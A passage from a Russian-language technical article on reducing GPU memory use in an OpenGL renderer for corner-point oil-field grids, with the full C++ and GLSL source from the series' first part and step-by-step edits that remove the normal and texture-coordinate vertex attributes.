Для этой сравнительно небольшой сетки объём занимаемой памяти под вершины и индексы составил 2484,3 Мб — в два раза больше, чем для миллиарда состыкованных ячеек!
Для удобства читателя приведём исходный код рендерера из первой части статьи:
Код из первой части статьи
```
// corner_point_grid.h
template
struct span3d {
T\* const data;
const uint32\_t ni;
const uint32\_t nj;
const uint32\_t nk;
span3d(T\* \_data, uint32\_t \_ni, uint32\_t \_nj, uint32\_t \_nk)
: data(\_data), ni(\_ni), nj(\_nj), nk(\_nk) { }
T at(size\_t x, size\_t y, size\_t z) const {
return data[x \* nj \* nk + y \* nk + z];
}
T& at(size\_t x, size\_t y, size\_t z) {
return data[x \* nj \* nk + y \* nk + z];
}
};
struct Palette {
float min\_value;
float max\_value;
GLuint texture;
};
struct CornerPointGrid
{
CornerPointGrid(uint32\_t ni, uint32\_t nj, uint32\_t nk,
const float\* coord, const float \*zcorn, const float\* property, const uint8\_t\* mask);
~CornerPointGrid();
void render(GLuint shader,
const Palette& palette,
const mat4& proj, const mat4 & view,
const mat4& model,
vec3 light\_direct,
bool primitive\_picking);
private:
// входные данные
span3d \_coord;
span3d \_zcorn;
span3d \_property;
span3d \_mask;
// маска состыкованности граней
std::vector \_joined\_mask\_data;
span3d \_joined\_mask; // ссылается на массив \_joined\_mask\_data;
// объекты OpenGL
GLuint \_position\_vbo;
GLuint \_normal\_vbo;
GLuint \_cell\_index\_vbo;
GLuint \_texcoord\_vbo;
GLuint \_property\_vbo;
GLuint \_indexbuffer;
GLuint \_vao;
// число треугольников для рендеринга
size\_t \_triangle\_count;
// расчет вершин и индексов
void \_gen\_vertices\_and\_indices(size\_t quad\_count);
// создание буферов OpenGL
void \_create\_vertex\_index\_buffers();
// назначение буферов в VAO
void \_setup\_vao();
};
// corner\_point\_grid.cpp
// Для каждой ячейки нужно получить координаты восьми её вершин.
// 6-------7
// /| / |
// 4------5 | z y
// | 2----|--3 |/
// |/ | / 0-x
// 0------1
// Эти массивы определяют отступы для получения каждой из 8-ми вершин
// ячейки по осям x, y, z, если рассматривать только одну ячейку.
static const std::array cell\_vertices\_offset\_x = {
0, 1, 0, 1, 0, 1, 0, 1
};
static const std::array cell\_vertices\_offset\_y = {
0, 0, 1, 1, 0, 0, 1, 1
};
static const std::array cell\_vertices\_offset\_z = {
0, 0, 0, 0, 1, 1, 1, 1
};
// Индексы вершин, формирующие грани ячейки.
// 6-------7
// /| / |
// 4------5 | z y
// | 2----|--3 |/
// |/ | / 0-x
// 0------1
static const std::array, 6> cell\_quads = {
std::array{0, 1, 5, 4}, // 1-ая грань
std::array{1, 3, 7, 5}, // 2-ая грань
std::array{3, 2, 6, 7}, // ...
std::array{2, 0, 4, 6},
std::array{3, 1, 0, 2},
std::array{4, 5, 7, 6},
};
// Для каждой грани индексы соседней ячейки со стороны этой грани
static const std::array, 6> cell\_quads\_neighbors = {
// прибавим их к координатам (i,j,k) ячейки - получим координаты соседней ячейки
std::array{ 0, -1, 0},
std::array{ 1, 0, 0},
std::array{ 0, 1, 0},
std::array{-1, 0, 0},
std::array{ 0, 0, -1},
std::array{ 0, 0, 1},
};
// битовые маски, с помощью которой можно узнать стыкована ли ячейка с одной из соседних
// (просмотрев соответствующий маске бит в массиве joined\_mask)
enum JoinedMaskBits : uint8\_t {
I\_PREV = 1 << 0, I\_NEXT = 1 << 1,
J\_PREV = 1 << 2, J\_NEXT = 1 << 3,
K\_PREV = 1 << 4, K\_NEXT = 1 << 5
};
// Для каждой грани бит, показывающий стыкованность с соседней ячейкой
static const std::array cell\_quads\_joined\_mask\_bits = {
// то есть ячейка является соседней по оси x, y или z
JoinedMaskBits::J\_PREV,
JoinedMaskBits::I\_NEXT,
JoinedMaskBits::J\_NEXT,
JoinedMaskBits::I\_PREV,
JoinedMaskBits::K\_PREV,
JoinedMaskBits::K\_NEXT,
};
// Для того, чтобы рисовать сетку на границах ячеек,
// надо знать насколько близко расположен пиксель к границе.
// Тут перечислены текстурные координаты для каждой вершины грани,
// которые позволят получить расстояние до границы
// (если один из компонентов равен нулю, то это и есть граница).
static const std::array quad\_vertices\_texcoords = {
vec2(1, 0),
vec2(0, 0),
vec2(0, 1),
vec2(0, 0),
};
// Как для грани сформировать два треугольника
static const std::array quad\_to\_triangles = {
0, 1, 2, 0, 2, 3
};
static vec3 calc\_normal(vec3 v1, vec3 v2){
// посчитаем нормаль к кваду
vec3 normal = cross(v1, v2);
// приведем нормаль к единичной длине
if (length2(normal) < 1e-8f){
normal = vec3(0, 0, 1);
} else {
normal = normalize(normal);
}
return normal;
}
static void calc\_joined\_mask(span3d zcorn, span3d joined\_mask) {
// с какой точностью сравниваем совпадание граней, ~10 см вполне достаточно.
const float eps = 0.1f;
// для каждой ячейки результирующей маски
for(uint32\_t i = 0; i < joined\_mask.ni; ++i) {
for(uint32\_t j = 0; j < joined\_mask.nj; ++j) {
for(uint32\_t k = 0; k < joined\_mask.nk; ++k) {
// индексы этой ячейки в zcorn
uint32\_t iz = i \* 2, jz = j \* 2, kz = k \* 2;
// проверяем, совпадают ли граничные вершины ячеек (i,j,k) и (i+1,j,k) по оси X
if (i + 1 < joined\_mask.ni) {
float d = 0.0f;
d += std::abs(zcorn.at(iz+1, jz, kz ) - zcorn.at(iz+2, jz, kz ));
d += std::abs(zcorn.at(iz+1, jz+1, kz ) - zcorn.at(iz+2, jz+1, kz ));
d += std::abs(zcorn.at(iz+1, jz, kz+1) - zcorn.at(iz+2, jz, kz+1));
d += std::abs(zcorn.at(iz+1, jz+1, kz+1) - zcorn.at(iz+2, jz+1, kz+1));
if (d < eps) {
// совпадают - отметим стыкованность, установив биты I\_NEXT и I\_PREV
joined\_mask.at(i, j, k) |= I\_NEXT;
joined\_mask.at(i+1, j, k) |= I\_PREV;
}
}
// проверяем, совпадают ли граничные вершины ячеек (i,j,k) и (i,j+1,k) по оси Y
if (j + 1 < joined\_mask.nj) {
float d = 0.0f;
d += std::abs(zcorn.at(iz, jz+1, kz ) - zcorn.at(iz, jz+2, kz ));
d += std::abs(zcorn.at(iz+1, jz+1, kz ) - zcorn.at(iz+1, jz+2, kz ));
d += std::abs(zcorn.at(iz, jz+1, kz+1) - zcorn.at(iz, jz+2, kz+1));
d += std::abs(zcorn.at(iz+1, jz+1, kz+1) - zcorn.at(iz+1, jz+2, kz+1));
if (d < eps) {
// совпадают - отметим стыкованность, установив биты J\_NEXT и J\_PREV
joined\_mask.at(i, j, k) |= J\_NEXT;
joined\_mask.at(i, j+1, k) |= J\_PREV;
}
}
// проверяем, совпадают ли граничные вершины ячеек (i,j,k) и (i,j,k+1) по оси Z
if (k + 1 < joined\_mask.nk) {
float d = 0.0f;
d += std::abs(zcorn.at(iz, jz, kz+1) - zcorn.at(iz, jz, kz+2));
d += std::abs(zcorn.at(iz+1, jz, kz+1) - zcorn.at(iz+1, jz, kz+2));
d += std::abs(zcorn.at(iz, jz+1, kz+1) - zcorn.at(iz, jz+1, kz+2));
d += std::abs(zcorn.at(iz+1, jz+1, kz+1) - zcorn.at(iz+1, jz+1, kz+2));
if (d < eps) {
// совпадают - отметим стыкованность, установив биты K\_NEXT и K\_PREV
joined\_mask.at(i, j, k) |= K\_NEXT;
joined\_mask.at(i, j, k+1) |= K\_PREV;
}
}
} // for k
} // for j
} // for i
}
static bool check\_if\_quad\_culled(const span3d& mask,
const span3d& joined\_mask,
uint32\_t i, uint32\_t j, uint32\_t k, uint32\_t qi) {
// грани создавать нужно только для тех сторон, которые не состыкованы с соседними
if (!(joined\_mask.at(i, j, k) & cell\_quads\_joined\_mask\_bits[qi]))
return false;
// или если соседняя ячейка не отображается
// (выход за границы не проверяем, т.к. по границе \_joined\_mask == 0)
if (!mask.at(i + cell\_quads\_neighbors[qi][0],
j + cell\_quads\_neighbors[qi][1],
k + cell\_quads\_neighbors[qi][2]))
return false;
// обе проверки не прошли, значит грань можно отсечь
return true;
}
static size\_t calc\_number\_of\_quads(const span3d& mask,
const span3d joined\_mask) {
size\_t num\_of\_quads = 0;
for (uint32\_t i = 0; i < mask.ni; ++i)
for (uint32\_t j = 0; j < mask.nj; ++j)
for (uint32\_t k = 0; k < mask.nk; ++k)
// если ячейка активна
if (mask.at(i, j, k)){
// для каждого возможного полигона
for (uint32\_t qi = 0; qi < 6; ++qi){
// определим, нужно ли его создавать
if (!check\_if\_quad\_culled(mask, joined\_mask, i, j, k, qi))
// и если нужно, то увеличим счетчик
num\_of\_quads++;
}
}
return num\_of\_quads;
}
// Получаем все 8 вершин, соответствующих ячейке (i, j, k).
// 6-------7
// /| / |
// 4------5 |
// | 2----|--3
// |/ | /
// 0------1
static void get\_cell\_vertices(const span3d& coord,
const span3d& zcorn,
uint32\_t i, uint32\_t j, uint32\_t k,
std::array& vertices)
{
// для каждой вершины
for (int vi = 0; vi < 8; ++vi) {
// получим индексы пиллара по индексам ячейки
uint32\_t pillar\_index\_i = i + cell\_vertices\_offset\_x[vi];
uint32\_t pillar\_index\_j = j + cell\_vertices\_offset\_y[vi];
// p1 - первая точка пиллара
float p1\_x = coord.at(pillar\_index\_i, pillar\_index\_j, 0);
float p1\_y = coord.at(pillar\_index\_i, pillar\_index\_j, 1);
float p1\_z = coord.at(pillar\_index\_i, pillar\_index\_j, 2);
// p2 - вторая точка пиллара
float p2\_x = coord.at(pillar\_index\_i, pillar\_index\_j, 3);
float p2\_y = coord.at(pillar\_index\_i, pillar\_index\_j, 4);
float p2\_z = coord.at(pillar\_index\_i, pillar\_index\_j, 5);
// значение Z для ячейки у нас есть, а X и Y нет,
// зато известно, что (x,y,z) лежит на линии пиллара p1-p2
float z = zcorn.at(2 \* i + cell\_vertices\_offset\_x[vi],
2 \* j + cell\_vertices\_offset\_y[vi],
2 \* k + cell\_vertices\_offset\_z[vi]);
float t = (z - p1\_z) / (p2\_z - p1\_z);
float x = p1\_x + (p2\_x - p1\_x) \* t;
float y = p1\_y + (p2\_y - p1\_y) \* t;
vertices[vi].x = x;
vertices[vi].y = y;
vertices[vi].z = z;
}
}
void CornerPointGrid::\_gen\_vertices\_and\_indices(size\_t quad\_count) {
const size\_t vertex\_count = quad\_count \* 4;
std::vector a\_position, a\_index, a\_property, a\_normal, a\_texcoord;
// для каждой вершины 3 координаты (x, y и z)
a\_position.reserve(3 \* vertex\_count);
// + три индекса
a\_index.reserve(3 \* vertex\_count);
// + значение свойства ячейки
a\_property.reserve(vertex\_count);
// + три компоненты нормали
a\_normal.reserve(3 \* vertex\_count);
// + две текстурные координаты (расстояние от вершин до противолежащих сторон)
a\_texcoord.reserve(2 \* vertex\_count);
// буфер, куда записываются вершины ячейки
std::array cell\_vertices;
// для каждой рассматриваемой ячейки
for (uint32\_t i = 0; i < \_property.ni; ++i) {
for (uint32\_t j = 0; j < \_property.nj; ++j) {
for (uint32\_t k = 0; k < \_property.nk; ++k) {
// если ячейка может отрисовываться (они фильтруются по маске)
if (\_mask.at(i, j, k)){
// рассчитаем 8 вершин, соответствующих ячейке
get\_cell\_vertices(\_coord, \_zcorn, i, j, k, cell\_vertices);
// из вершин формируем грани
for (int qi = 0; qi < 6; ++qi) {
// определим, нужно ли создавать грань
if (!check\_if\_quad\_culled(\_mask, \_joined\_mask, i, j, k, qi)){
// 4 индекса вершин грани
const std::array& quad = cell\_quads[qi];
// посчитаем нормаль грани
vec3 normal = calc\_normal(
cell\_vertices[quad[0]] - cell\_vertices[quad[1]],
cell\_vertices[quad[2]] - cell\_vertices[quad[1]]);
// для каждой вершины в полигоне
for (int vii = 0; vii < 4; ++vii){
// координаты очередной вершины
const vec3& v = cell\_vertices[quad[vii]];
// записываем атрибуты вершины
a\_position.insert(a\_position.end(), {v.x, v.y, v.z});
a\_index.insert(a\_index.end(), {(float)i, (float)j, (float)k});
a\_property.push\_back(\_property.at(i, j, k));
a\_normal.insert(a\_normal.end(), {normal.x, normal.y, normal.z});
vec2 texcoords = quad\_vertices\_texcoords[vii];
a\_texcoord.insert(a\_texcoord.end(), {texcoords.x, texcoords.y});
}
}
}
}
}
}
}
assert(a\_position.size() == vertex\_count \* 3);
// загружаем атрибуты в VBO
glNamedBufferStorage(\_position\_vbo, a\_position.size() \* sizeof (float), a\_position.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_normal\_vbo, a\_normal.size() \* sizeof (float), a\_normal.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_cell\_index\_vbo, a\_index.size() \* sizeof (float), a\_index.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_texcoord\_vbo, a\_texcoord.size() \* sizeof (float), a\_texcoord.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_property\_vbo, a\_property.size() \* sizeof (float), a\_property.data(), gl::GL\_NONE\_BIT);
// создадим массив индексов - на каждую грань два треугольника
size\_t indices\_count = quad\_count \* 6;
std::vector indices;
indices.reserve(indices\_count);
for (size\_t i = 0; i < quad\_count; ++i)
for (uint32\_t j = 0; j < 6; ++j)
// индекс очередной вершины при составлении треугольников
indices.push\_back(static\_cast(i \* 4 + quad\_to\_triangles[j]));
glNamedBufferStorage(\_indexbuffer, indices.size() \* sizeof (uint32\_t), indices.data(), gl::GL\_NONE\_BIT);
// запомним число индексов, нужно для glDrawElements
\_triangle\_count = indices.size();
}
void CornerPointGrid::\_create\_vertex\_index\_buffers() {
// вершинные буферы
glCreateBuffers(1, &\_position\_vbo);
glCreateBuffers(1, &\_normal\_vbo);
glCreateBuffers(1, &\_cell\_index\_vbo);
glCreateBuffers(1, &\_texcoord\_vbo);
glCreateBuffers(1, &\_property\_vbo);
// индексный буфер
glCreateBuffers(1, &\_indexbuffer);
}
void CornerPointGrid::\_setup\_vao() {
// создаем VAO
glCreateVertexArrays(1, &\_vao);
// назначаем индексный буфер в VAO
glVertexArrayElementBuffer(\_vao, \_indexbuffer);
// назначаем все атрибуты в VAO
// position
glVertexArrayVertexBuffer(\_vao, 0, \_position\_vbo, 0, sizeof (float) \* 3);
glVertexArrayAttribBinding(\_vao, 0, 0);
glVertexArrayAttribFormat(\_vao, 0, 3, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 0);
// normal
glVertexArrayVertexBuffer(\_vao, 1, \_normal\_vbo, 0, sizeof (float) \* 3);
glVertexArrayAttribBinding(\_vao, 1, 1);
glVertexArrayAttribFormat(\_vao, 1, 3, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 1);
// cell index
glVertexArrayVertexBuffer(\_vao, 2, \_cell\_index\_vbo, 0, sizeof (float) \* 3);
glVertexArrayAttribBinding(\_vao, 2, 2);
glVertexArrayAttribFormat(\_vao, 2, 3, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 2);
// texcoord
glVertexArrayVertexBuffer(\_vao, 3, \_texcoord\_vbo, 0, sizeof (float) \* 2);
glVertexArrayAttribBinding(\_vao, 3, 3);
glVertexArrayAttribFormat(\_vao, 3, 2, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 3);
// property
glVertexArrayVertexBuffer(\_vao, 4, \_property\_vbo, 0, sizeof (float));
glVertexArrayAttribBinding(\_vao, 4, 4);
glVertexArrayAttribFormat(\_vao, 4, 1, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 4);
}
CornerPointGrid::CornerPointGrid(uint32\_t ni, uint32\_t nj, uint32\_t nk,
const float\* coord, const float\* zcorn, const float\* property, const uint8\_t\* mask) :
\_coord(coord, ni+1, nj+1, 6),
\_zcorn(zcorn, ni\*2, nj\*2, nk\*2),
\_property(property, ni, nj, nk),
\_mask(mask, ni, nj, nk),
\_joined\_mask\_data(ni\*nj\*nk, 0),
\_joined\_mask(\_joined\_mask\_data.data(), ni, nj, nk) {
// посчитаем маску стыкованности ячеек
calc\_joined\_mask(\_zcorn, \_joined\_mask);
// рассчитаем число видимых граней
size\_t quad\_count = calc\_number\_of\_quads(\_mask, \_joined\_mask);
// создаем вершинные и индексный буферы
\_create\_vertex\_index\_buffers();
// рассчитаем вершины и индексы и загрузим их в вершинные/индексные буферы
\_gen\_vertices\_and\_indices(quad\_count);
// назначаем наши вершинные и индексный буфер в VAO
\_setup\_vao();
}
CornerPointGrid::~CornerPointGrid()
{
glDeleteVertexArrays(1, &\_vao);
glDeleteBuffers(1, &\_position\_vbo);
glDeleteBuffers(1, &\_normal\_vbo);
glDeleteBuffers(1, &\_cell\_index\_vbo);
glDeleteBuffers(1, &\_texcoord\_vbo);
glDeleteBuffers(1, &\_property\_vbo);
glDeleteBuffers(1, &\_indexbuffer);
}
void CornerPointGrid::render(GLuint shader,
const Palette& palette,
const mat4& proj,
const mat4& view,
const mat4& model,
vec3 light\_direct,
bool primitive\_picking)
{
// подразумеваем, что вызывающий код настроил фреймбуфер,
// включил тест и запись глубины, включил backface culling
glUseProgram(shader);
// матрица MVP
mat4 mvp = proj \* view \* model;
glProgramUniformMatrix4fv(shader, glGetUniformLocation(shader, "u\_mvp"), 1, GL\_FALSE, &mvp[0][0]);
// матрица поворота нормалей
mat3 normal\_mat = transpose(inverse(mat3{model}));
glProgramUniformMatrix3fv(shader, glGetUniformLocation(shader, "u\_normal\_mat"), 1, GL\_FALSE, &normal\_mat[0][0]);
// направление света и режим пикинга
glProgramUniform3fv(shader, glGetUniformLocation(shader, "u\_light\_direct"), 1, &light\_direct[0]);
glProgramUniform1i(shader, glGetUniformLocation(shader, "u\_primitive\_picking"), primitive\_picking);
// палитра
glBindTextureUnit(0, palette.texture);
glProgramUniform2f(shader, glGetUniformLocation(shader, "u\_value\_range"), palette.min\_value, palette.max\_value);
// рисуем
glBindVertexArray(\_vao);
glDrawElements(GL\_TRIANGLES, \_triangle\_count, GL\_UNSIGNED\_INT, nullptr);
// сбрасываем все состояние на дефолтное
glBindVertexArray(0);
glBindTextureUnit(0, 0);
glUseProgram(0);
}
// corner\_point\_grid.vert
#version 440
// позиция
layout(location=0) in vec3 a\_pos;
// нормаль
layout(location=1) in vec3 a\_normal;
// индекс ячейки
layout(location=2) in vec3 a\_ind;
// текстурные координаты
layout(location=3) in vec2 a\_texcoord;
// значение в ячейке, по которому можно получить цвет
layout(location=4) in float a\_property;
// текстура с палитрой
layout(binding=0) uniform sampler1D u\_palette\_tex;
// матрицы MVP-преобразования
layout(location=0) uniform mat4 u\_mvp;
// матрица поворота нормалей
layout(location=1) uniform mat3 u\_normal\_mat;
// какому диапазону значений соответствует текстура
layout(location=2) uniform vec2 u\_value\_range;
// режим отрисовки
layout(location=3) uniform bool u\_primitive\_picking;
// вектор направления света
layout(location=4) uniform vec3 u\_light\_direct;
layout(location=0) out INTERFACE {
// цвет вершины
vec4 color;
// текстурные координаты
vec2 texcoord;
} vs\_out;
void main() {
// проводим mvp-преобразования позиции
gl\_Position = u\_mvp \* vec4(a\_pos, 1);
// передаем текстурные координаты в фрагментный шейдер
vs\_out.texcoord = a\_texcoord;
// если делаем пикинг индексов ячеек, вместо цвета передаем во фрагментный шейдер индексы ячейки
if (u\_primitive\_picking) {
vs\_out.color = vec4(a\_ind.x, a\_ind.y, a\_ind.z, 1);
return;
}
// приводим значение свойства ячейки к диапазону палитры
float normalized\_value = (a\_property - u\_value\_range.x) / (u\_value\_range.y - u\_value\_range.x);
// получим цвет в текстуре палитры
vec4 cell\_color = texture(u\_palette\_tex, normalized\_value);
// рассчитываем повернутую нормаль
vec3 normal = normalize(u\_normal\_mat \* a\_normal);
// косинус угла между нормалью и направлением освещения
float NdotL = max(0, dot(normal, u\_light\_direct));
// закраска по фонгу
const float ka = 0.1, kd = 0.7;
vs\_out.color = vec4((ka + NdotL \* kd) \* cell\_color.rgb, cell\_color.a);
}
// corner\_point\_grid.frag
#version 440
// режим отрисовки
layout(location=3) uniform bool u\_primitive\_picking;
layout(location = 0) in INTERFACE {
vec4 color;
vec2 texcoord;
} fs\_in;
layout(location=0) out vec4 FragColor;
// цвет фрагмента с учетом необходимости рисовать границы ячеек
vec3 border\_color(vec2 dist, vec3 color)
{
// на сколько изменяется dist (1 - вершина, 0 - противоположная граница)
// при сдвиге на один пиксель в cторону границы
vec2 delta = fwidth(dist);
// высота тругольника, проведенная к рассматриваемой границе
vec2 len = 1.0 / delta;
// расстояние до границы меньше пикселя - только тогда надо рисовать границу,
vec2 edge\_factor = smoothstep(0.2, 0.8, len \* dist);
// смешиваем цвет с сеткой
return mix(color \* 0.25, color, min(edge\_factor.x, edge\_factor.y));
}
void main()
{
if (u\_primitive\_picking) {
FragColor = fs\_in.color;
return;
}
// добавляем сетку
vec3 res\_color = border\_color(fs\_in.texcoord, fs\_in.color.rgb);
FragColor = vec4(res\_color, fs\_in.color.a);
}
```
**Избавляемся от ненужных атрибутов**
Посмотрим ещё раз на список атрибутов вершин:
1. координаты вершины (3\*4 байт);
2. нормаль грани (3\*4 байт);
3. индексы ячейки (3\*4 байт);
4. текстурные координаты (2\*4 байт);
5. значение свойства в ячейке (4 байта).
В первой части мы упоминали, что «красивость» стоит далеко не на первом месте в списке требований к рендереру. Поэтому обратим внимание на атрибут нормали граней. Нам совсем необязательно, чтобы нормаль была гладкой по всей грани — можно вычислять «плоскую» нормаль в шейдере, а от атрибута нормали избавиться, сэкономив 12 байт на каждую вершину.
Сначала удалим все упоминания нормалей из функции генерации вершин:
```
void CornerPointGrid::_gen_vertices_and_indices(size_t quad_count) {
const size_t vertex_count = quad_count * 4;
// УДАЛЕНО // std::vector a\_position, a\_index, a\_property, a\_normal, a\_texcoord;
std::vector a\_position, a\_index, a\_property, a\_texcoord;
// для каждой вершины 3 координаты (x, y и z)
a\_position.reserve(3 \* vertex\_count);
// + три индекса
a\_index.reserve(3 \* vertex\_count);
// + значение свойства ячейки
a\_property.reserve(vertex\_count);
// УДАЛЕНО // + три компоненты нормали
// УДАЛЕНО // a\_normal.reserve(3 \* vertex\_count);
// + две текстурные координаты (расстояние от вершин до противолежащих сторон)
a\_texcoord.reserve(2 \* vertex\_count);
// …
// определим, нужно ли создавать грань
if (!check\_if\_quad\_culled(\_mask, \_joined\_mask, i, j, k, qi)){
// 4 индекса вершин грани
const std::array& quad = cell\_quads[qi];
// посчитаем нормаль грани
// УДАЛЕНО // vec3 normal = calc\_normal(
// УДАЛЕНО // cell\_vertices[quad[0]] - cell\_vertices[quad[1]],
// УДАЛЕНО // cell\_vertices[quad[2]] - cell\_vertices[quad[1]]);
// для каждой вершины в полигоне
for (int vii = 0; vii < 4; ++vii){
// координаты очередной вершины
const vec3& v = cell\_vertices[quad[vii]];
// записываем атрибуты вершины
a\_position.insert(a\_position.end(), {v.x, v.y, v.z});
a\_index.insert(a\_index.end(), {(float)i, (float)j, (float)k});
a\_property.push\_back(\_property.at(i, j, k));
// УДАЛЕНО // a\_normal.insert(a\_normal.end(), {normal.x, normal.y, normal.z});
vec2 texcoords = quad\_vertices\_texcoords[vii];
a\_texcoord.insert(a\_texcoord.end(), {texcoords.x, texcoords.y});
}
// …
// загружаем атрибуты в VBO
glNamedBufferStorage(\_position\_vbo, a\_position.size() \* sizeof (float), a\_position.data(), gl::GL\_NONE\_BIT);
// УДАЛЕНО // glNamedBufferStorage(\_normal\_vbo, a\_normal.size() \* sizeof (float), a\_normal.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_cell\_index\_vbo, a\_index.size() \* sizeof (float), a\_index.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_texcoord\_vbo, a\_texcoord.size() \* sizeof (float), a\_texcoord.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_property\_vbo, a\_property.size() \* sizeof (float), a\_property.data(), gl::GL\_NONE\_BIT);
```
Затем избавимся от атрибута (придется сдвинуть номера последующих атрибутов):
```
void CornerPointGrid::_setup_vao() {
// создаем VAO
glCreateVertexArrays(1, &_vao);
// назначаем индексный буфер в VAO
glVertexArrayElementBuffer(_vao, _indexbuffer);
// назначаем все атрибуты в VAO
// position
glVertexArrayVertexBuffer(_vao, 0, _position_vbo, 0, sizeof (float) * 3);
glVertexArrayAttribBinding(_vao, 0, 0);
glVertexArrayAttribFormat(_vao, 0, 3, GL_FLOAT, GL_FALSE, 0);
glEnableVertexArrayAttrib(_vao, 0);
// normal
// УДАЛЕНО // glVertexArrayVertexBuffer(_vao, 1, _normal_vbo, 0, sizeof (float) * 3);
// УДАЛЕНО // glVertexArrayAttribBinding(_vao, 1, 1);
// УДАЛЕНО // glVertexArrayAttribFormat(_vao, 1, 3, GL_FLOAT, GL_FALSE, 0);
// УДАЛЕНО // glEnableVertexArrayAttrib(_vao, 1);
// cell index
glVertexArrayVertexBuffer(_vao, 1, _cell_index_vbo, 0, sizeof (float) * 3);
glVertexArrayAttribBinding(_vao, 1, 1);
glVertexArrayAttribFormat(_vao, 1, 3, GL_FLOAT, GL_FALSE, 0);
glEnableVertexArrayAttrib(_vao, 1);
// texcoord
glVertexArrayVertexBuffer(_vao, 2, _texcoord_vbo, 0, sizeof (float) * 2);
glVertexArrayAttribBinding(_vao, 2, 2);
glVertexArrayAttribFormat(_vao, 2, 2, GL_FLOAT, GL_FALSE, 0);
glEnableVertexArrayAttrib(_vao, 2);
// property
glVertexArrayVertexBuffer(_vao, 3, _property_vbo, 0, sizeof (float));
glVertexArrayAttribBinding(_vao, 3, 3);
glVertexArrayAttribFormat(_vao, 3, 1, GL_FLOAT, GL_FALSE, 0);
glEnableVertexArrayAttrib(_vao, 3);
//...
```
И, наконец, модифицируем шейдеры. В вершинном шейдере рассчитаем модельные координаты вершины и передадим их во фрагментный шейдер:
```
// …
// матрицы MVP-преобразования
layout(location=0) uniform mat4 u_mvp;
// матрица модели (для расчета нормали)
layout(location=1) uniform mat4 u_model;
// …
layout(location=0) out INTERFACE {
// цвет вершины
vec4 color;
// координаты ячейки в пространстве модели (для вычисления нормали)
vec3 model_pos;
// текстурные координаты
vec2 texcoord;
} vs_out;
void main() {
// проводим mvp-преобразования позиции
vec4 pos = vec4(a_pos, 1);
gl_Position = u_mvp * pos;
// если делаем пикинг индексов ячеек, вместо цвета передаем во фрагментный шейдер индексы ячейки
if (u_primitive_picking) {
vs_out.color = vec4(a_ind.x, a_ind.y, a_ind.z, 1);
return;
}
// передаем координаты ячейки (для вычисления нормали)
vs_out.model_pos = vec3(u_model * pos);
// …
}
```
Во фрагментном шейдере возьмём интерполированные при растеризации модельные координаты, получим их экранные производные и посчитаем нормаль как векторное произведение:
```
// …
layout(location = 0) in INTERFACE {
vec4 cell_color;
vec3 model_pos;
vec2 texcoord;
} fs_in;
// …
void main()
{
if (u_primitive_picking) {
FragColor = fs_in.cell_color;
return;
}
vec3 normal = normalize(cross(dFdy(fs_in.model_pos), dFdx(fs_in.model_pos)));
// …
}
```
Если мы сделали всё правильно, мы не увидим особой разницы на простой сетке. Но на сетках с непланарными гранями разница станет очевидной:
Рисунок 1 Сравнение плоских нормалей, рассчитанных шейдером, и реальных нормалей грани, заданных в атрибутах вершинНа реальных сетках месторождений разница не настолько заметна, поскольку обычно грани ячеек более-менее планарны.
Что же с потреблением памяти?
| | | | |
| --- | --- | --- | --- |
| | Память под атрибуты | FPS в лучшем случае | FPS в худшем случае |
| До оптимизаций | 2 484,29 Мб | 54,3 | 17,7 |
| Без нормалей | 1 932,23 Мб | 60,8 | 18,4 |
*Таблица 1 Сравнение потребления памяти и производительности на тестовой сетке размером 2003 c 50% активных ячеек на видеокарте AMD RX580 8GB*
Как видим, объём потребляемой памяти предсказуемо уменьшился, а частота кадров немного увеличилась даже несмотря на то, что освещение теперь вычисляется во фрагментном шейдере.
После удаления атрибута нормалей список атрибутов выглядит следующим образом:
1. координаты вершины (3\*4 байт);
2. индексы ячейки (3\*4 байт);
3. текстурные координаты (2\*4 байт);
4. значение свойства в ячейке (4 байта).
Обратим внимание на атрибут текстурных координат. Каждая компонента вектора текстурных координат принимает одно из двух значений: 0 или 1. Использовать целых восемь байт ради двух бит — расточительно, так что этот атрибут следующий в списке на ~~расстрел~~ оптимизацию.
Куда же запаковать эти два бита? Наилучшим кандидатом является атрибут индексов ячейки: индексы всегда положительны — так что мы можем записать по одному биту текстурной координаты в их знаки без потери информации.
Как и в случае с нормалями, сначала удалим из метода генерации вершин и шейдера все упоминания атрибута текстурных координат:
```
// …
// УДАЛЕНО // std::vector a\_position, a\_index, a\_property, a\_texcoord;
std::vector a\_position, a\_index, a\_property;
// для каждой вершины 3 координаты (x, y и z)
a\_position.reserve(3 \* vertex\_count);
// + три индекса
a\_index.reserve(3 \* vertex\_count);
// + значение свойства ячейки
a\_property.reserve(vertex\_count);
// УДАЛЕНО // + две текстурные координаты (расстояние от вершин до противолежащих сторон)
// УДАЛЕНО // a\_texcoord.reserve(2 \* vertex\_count);
// …
// загружаем атрибуты в VBO
glNamedBufferStorage(\_position\_vbo, a\_position.size() \* sizeof (float), a\_position.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_cell\_index\_vbo, a\_index.size() \* sizeof (float), a\_index.data(), gl::GL\_NONE\_BIT);
// УДАЛЕНО //glNamedBufferStorage(\_texcoord\_vbo, a\_texcoord.size() \* sizeof (float), a\_texcoord.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_property\_vbo, a\_property.size() \* sizeof (float), a\_property.data(), gl::GL\_NONE\_BIT);
// …
// cell index
glVertexArrayVertexBuffer(\_vao, 1, \_cell\_index\_vbo, 0, sizeof (float) \* 3);
glVertexArrayAttribBinding(\_vao, 1, 1);
glVertexArrayAttribFormat(\_vao, 1, 3, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 1);
// texcoord
// УДАЛЕНО //glVertexArrayVertexBuffer(\_vao, 2, \_texcoord\_vbo, 0, sizeof (float) \* 2);
